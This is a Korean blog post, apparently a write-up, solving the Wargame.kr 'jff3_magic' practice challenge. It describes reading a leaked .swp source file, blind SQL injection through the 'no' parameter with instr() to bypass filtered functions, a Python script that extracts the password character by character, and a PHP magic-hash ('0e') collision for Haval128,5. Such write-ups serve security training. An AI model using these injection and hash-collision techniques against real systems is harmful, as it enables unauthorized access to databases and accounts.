ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Wargame.kr jff3_magic
    WebHacking/Wargame.kr 2018. 2. 27. 23:57



    힌트로 .swp를 alert로 알려준다.

    .index.php.swp 파일을 보면 다운 받아지고 소스를 볼수있다.

    vi로 복구를 해서 할려 했는데 오류가 나서 swp상태에서 소스를 보면서 분석 하였다.

    id,pw를 입력 받는데 소스에서는 GET방식으로 no를 입력 받고 있다. no에다가 sql injection을 해보니 취약점이 있었다.

    no=0 을 넣어보면 true가 되면서 admin이 출력 된다. 아이디는 admin인것같다. 패스워드를 틀리면 이상한 해쉬에 incorrect password가 출력된다. 그냥 submit을 누르고 나온 해쉬값을 구글링해보니  

    Hash Haval128,5 라는 암호화 값이라고 한다.


    그렇게 되면 우리가 패스워드를 입력하면 hash(Haval128,5,$pw) 를 하고 비교를 한다는것을 알 수 있다.

    blind sql injection을 할려고하니 mid,substr,left,right,%,_가 막혀있다. 

    그래서 instr함수를 필터링 하고있나 확인 해보니 필터링을 하지 않았다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    import urllib2
     
    temp = 48
    pw_idx = 1
    password = ''
     
    while True:
        url = 'http://wargame.kr:8080/jff3_magic/?no='
        url += '9999%20||%20instr(pw,char({0}))={1}'.format(temp,pw_idx)
        req = urllib2.Request(url)
        req.add_header('User-Agent','Mozilla/5.0')
        req.add_header('Cookie','PHPSESSID=tjh76u62fvgkq902q9pv4h1mq3')
        data = urllib2.urlopen(req).read()
        print url
        if 'admin' in data:
            password += chr(temp)
            print 'Search {0}'.format(password)
            pw_idx += 1
            raw_input('$ ')
        else:
            temp +=1
     
     
    print 'Password {0}'.format(password)
     
     
    cs


    첫 번째 두 번째는 잘 구해지더니 세번째부터 200이 넘어가도 True가 안 나온다. 그 뜻은 DB에 있는 비밀번호는 0e 두 글자라는 것을 알 수 있다. 원래 같으면 0e를 입력하면 되겠지만 우리는 hash를하고나서 비교를 하기 때문에 그렇게는 안 된다.

    0e를 보자마자 생각 나는것이 해쉬 충돌이다. 제목에서도 힌트를 얻을 수 있었다


    구글링 결과 https://www.whitehatsec.com/blog/magic-hashes/ 라는 좋은 사이트에서 값을 얻을 수 있었고 문제를 풀 수 있었다.



    'WebHacking > Wargame.kr' 카테고리의 다른 글

    Wargame.kr dun worry about the vase  (0) 2018.02.28
    Wargame.kr adm1nkyj  (0) 2018.02.28
    Wargame.kr QnA  (0) 2018.02.27
    Wargame.kr ip log table  (0) 2018.02.26
    Wargame.kr lonely guys  (0) 2018.02.26
Designed by Tistory.